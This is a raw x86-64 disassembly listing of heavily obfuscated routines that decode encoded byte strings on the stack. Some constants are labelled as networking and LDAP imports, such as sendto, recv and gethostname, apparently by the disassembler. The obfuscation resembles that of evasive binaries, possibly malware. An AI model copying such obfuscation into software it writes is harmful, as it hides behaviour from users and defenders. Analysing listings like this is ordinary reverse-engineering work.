lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b7137
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b710e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b70ec
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b70d2
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400b70b2
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b7098
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b7078
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b704b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b6c90
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b75e8
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400b75cc
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b6e4e
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b6e32
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400b6e16
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400b6fce
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b6f91
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b6f67
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b6c90
lea r8, [r9 + 3]
lea r9, [r8 + 3]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b6f36
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b6f16
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400b6efc
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b6edc
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400b6ec0
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400b6ea6
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400b6e80
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b6e6e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b6c90
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x40]
jmp 0x1400b6c90
lea edx, [r11 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1c
add dl, cl
jmp 0x1400b6c80
lea edx, [r11 - 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x74
add dl, cl
jmp 0x1400b6c10
sub r11b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b6ba0
lea edx, [r11 - 0x20]
movzx eax, r10b
and al, dl
sub dl, 0x20
jmp 0x1400b7481
sub r11b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b6b82
lea edx, [r11 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x28
jmp 0x1400b74f5
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
jmp 0x1400b7531
add r11b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7534
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x30
jmp 0x1400b73b7
add r11b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7562
add r11b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x890]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6b82
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x890], dl
inc rbx
jmp 0x1400b6b82
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x14
add dl, cl
cmp r9, 0x10
jb 0x1400b6f82
lea edx, [r11 - 0x38]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400b748b
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x1400b73a4
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400b71f7
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r8, 0x2a
jae 0x1400b7385
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400b728f
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b6fa6
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
movzx eax, byte [rbp + rbx + 0x890]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6b82
sub r11b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7562
lea edx, [r11 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 8
jmp 0x1400b73b7
sub r11b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7531
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x10
jmp 0x1400b74f5
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
dec rbx
inc rbx
jmp 0x1400b6b82
add r11b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b6b82
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
sub dl, 0x18
jmp 0x1400b7481
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b7166
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1400b6fdd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b71a0
sub r11b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x890]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6b82
inc rax
cmp r8, rax
jne 0x1400b71c4
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
jmp 0x1400b7531
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b6fe6
sub r11b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b6b82
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b7212
lea edx, [r11 + 0x74]
movzx eax, r10b
and al, dl
sub dl, 0x2c
jmp 0x1400b7481
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b723d
sub r11b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7c
dec rbx
inc rbx
jmp 0x1400b6b82
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b7266
sub r11b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7531
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b7019
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
jmp 0x1400b7534
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b72c9
sub r11b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x890]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6b82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b72ed
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b73b7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b7304
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400b74e8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b732f
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
dec rbx
inc rbx
jmp 0x1400b6b82
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b735d
sub r11b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
inc r9
dec rbx
inc rbx
jmp 0x1400b6b82
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b6fa8
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b7489
lea edx, [r11 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x20
add dl, cl
add dl, r10b
jmp 0x1400b74f7
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
sub r11b, 0x7c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x890], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400b7562
add r11b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4c
movzx eax, byte [rbp + rbx + 0x890]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6b82
sub r11b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7531
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 4
jmp 0x1400b74f5
sub r11b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5c
dec rbx
inc rbx
jmp 0x1400b6b82
lea edx, [r11 - 0x6c]
movzx eax, r10b
and al, dl
sub dl, 0xc
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
add r11b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, r11b
mov byte [rbp + rbx + 0x890], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b6b82
lea ecx, [rbx + 0x4c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x14
inc r9
dec rbx
inc rbx
jmp 0x1400b6b82
movzx r11d, bl
lea edx, [r11 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r11b, 0x6c
movzx eax, r11b
and al, r10b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x890], cl
jmp 0x1400b7531
lea ecx, [rbx + 4]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x1c
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b6b82
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r10b
sub dl, dil
sub dl, 0x24
add dl, cl
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x70
add cl, r10b
mov byte [rbp + rbx + 0x890], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x890]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6b82
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
sub dl, 0x7c
movzx eax, byte [rbp + rbx + 0x890]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6b82
sub r11b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x24
jmp 0x1400b6b80
sub r11b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7c
jmp 0x1400b6b70
lea rdx, [rbp + 0x17096a0]
mov r8, rsi
jmp 0x1400b8ff1
lea rdx, [rbp + 0xb2bb2c]
mov r8, rsi
jmp 0x1400b8ff1
lea rdx, [rbp + 0x890]
mov r8, rsi
jmp 0x1400b8ff1
mov byte [rbp + 0x400], 0xf3
mov byte [rbp + 0x401], Ordinal_200
mov byte [rbp + 0x402], 0xdf
mov byte [rbp + 0x403], 0xc9
mov byte [rbp + 0x404], Ordinal_211
mov byte [rbp + 0x405], Ordinal_211
mov byte [rbp + 0x406], 0xfb
mov byte [rbp + 0x407], 0x3f
mov byte [rbp + 0x408], Ordinal_211
mov byte [rbp + 0x409], 0xe1
mov byte [rbp + 0x40a], 0xe4
mov byte [rbp + 0x40b], 0xf4
mov byte [rbp + 0x40c], 0xe8
mov byte [rbp + 0x40d], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x40e], Ordinal_200
mov byte [rbp + 0x40f], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x410], Ordinal_41
xor eax, eax
movups xmmword [rbp + 0x411], xmm0
movups xmmword [rbp + 0x421], xmm0
mov word [rbp + 0x431], ax
movabs rsi, 0x4211bf6ec19cff53
movabs r15, 0xce7c3c074b4afb45
movabs r14, 0xc6353e4c44d6fdf9
movzx edx, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400b822d
movzx r11d, byte [rbp + rbx + 0x400]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b8224
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b774b
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
sub dl, 0x45
jmp 0x1400b7792
je 0x1400b81b9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b8132
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b8103
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b80c6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b80a7
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b8085
movzx r10d, bl
cmp r9, rbx
ja 0x1400b821b
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400b77c2
lea ecx, [r10 - 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x57
jmp 0x1400b7802
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b8043
inc rax
cmp r8, rax
je 0x1400b8021
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b8007
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b7feb
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b7fd1
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b7d56
nop
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b7d39
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b7d14
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b7cee
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b7cd4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b7cb4
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b7c98
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b7c7b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400b7c5d
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400b7c2c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b7810
lea r8, [r9 + 0x20]
lea r9, [r8 + 8]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b81ff
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b81e3
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b79f3
lea rcx, [r9 + 0x7a]
cmp r8, rcx
jb 0x1400b79d9
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400b79bf
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b7be4
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b7b9f
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400b7b62
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400b7b3c
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400b7810
mov r8, rcx
lea r9, [rcx + 0x3e8]
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400b7b0b
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1400b7aeb
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400b7acf
lea rcx, [r9 + 9]
cmp r8, rcx
ja 0x1400b7aaf
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400b7a93
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400b7a76
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400b7a54
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b7a2b
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400b7a0f
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b7810
mov r8, rcx
lea r9, [rcx + 0x40]
jmp 0x1400b7810
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x77
jmp 0x1400b7802
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x13
jmp 0x1400b7796
sub r10b, 0x3b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x63
jmp 0x1400b7720
lea edx, [r10 + 0x78]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x48
add dl, cl
jmp 0x1400b8058
sub r10b, 0x2e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b7702
add r10b, 0x2c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x34
dec rbx
inc rbx
jmp 0x1400b7702
lea edx, [r10 - 0x7a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b80df
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
jmp 0x1400b8117
add r10b, 0x3a
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b811a
lea edx, [r10 - 0x6c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0xc
add dl, cl
jmp 0x1400b814a
sub r10b, 0x12
movzx eax, r11b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b8176
add r10b, 0x48
movzx eax, r11b
and al, r10b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x400]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b7702
sub r10b, 0x57
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x61
mov byte [rbp + rbx + 0x400], dl
inc rbx
jmp 0x1400b7702
lea edx, [r10 + 3]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x15
add dl, cl
cmp r9, 6
jb 0x1400b7b53
lea edx, [r10 + 0x12]
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400b8058
lea edx, [r10 + 0x5d]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x75
add dl, cl
cmp r8, 0x20
jae 0x1400b7f98
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400b7edd
lea edx, [r10 - 0x6a]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x1a
jmp 0x1400b7b77
lea edx, [r10 - 0x49]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
dec dl
add dl, cl
lea rax, [r8 + r9]
cmp rax, 0x2a
je 0x1400b7fb7
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400b7e2f
lea edx, [r10 - 0x39]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x71
jmp 0x1400b7bb4
sub r10b, 0x26
movzx eax, r11b
and al, r10b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x400]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b7702
add r10b, 0x34
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x6c
add dl, r10b
jmp 0x1400b8176
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b814a
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
jmp 0x1400b811a
add r10b, 0x42
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b8117
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
jmp 0x1400b80df
sub r10b, 0xa
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b7702
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400b7702
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b8058
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400b7d79
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x45
jmp 0x1400b7bfa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b7daf
sub r10b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x52
movzx eax, byte [rbp + rbx + 0x400]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b7702
inc rax
cmp r8, rax
jne 0x1400b7dd7
add r10b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b8176
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b7dfc
add r10b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7a
jmp 0x1400b8117
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b7bfa
sub r10b, 0x7e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b7702
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b7e54
lea edx, [r10 + 0x6d]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 5
add dl, cl
jmp 0x1400b8058
inc rax
cmp r8, rax
jne 0x1400b7e7e
sub r10b, 0x47
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0xf
dec rbx
inc rbx
jmp 0x1400b7702
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b7ea3
add r10b, 5
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x23
jmp 0x1400b8117
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b7bb6
sub r10b, 0x63
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x4b
movzx eax, byte [rbp + rbx + 0x400]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b7702
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b7f17
add r10b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x400]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b7702
inc rax
cmp r8, rax
jne 0x1400b7f3c
lea edx, [r10 - 0x78]
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b814a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b7f65
sub r10b, 0x2c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b8117
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b7b79
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400b7702
lea edx, [r10 - 0x48]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 8
add dl, cl
add dl, r11b
jmp 0x1400b80df
lea edx, [r10 + 0x5e]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400b814a
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6f
jmp 0x1400b814a
add r10b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5b
jmp 0x1400b8117
lea ecx, [r10 + 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2f
jmp 0x1400b80df
sub r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x47
dec rbx
inc rbx
jmp 0x1400b7702
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x33
add r10b, 0x65
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x3d
add r10b, r11b
mov byte [rbp + rbx + 0x400], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b7702
lea ecx, [rbx - 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6b
inc r9
dec rbx
inc rbx
jmp 0x1400b7702
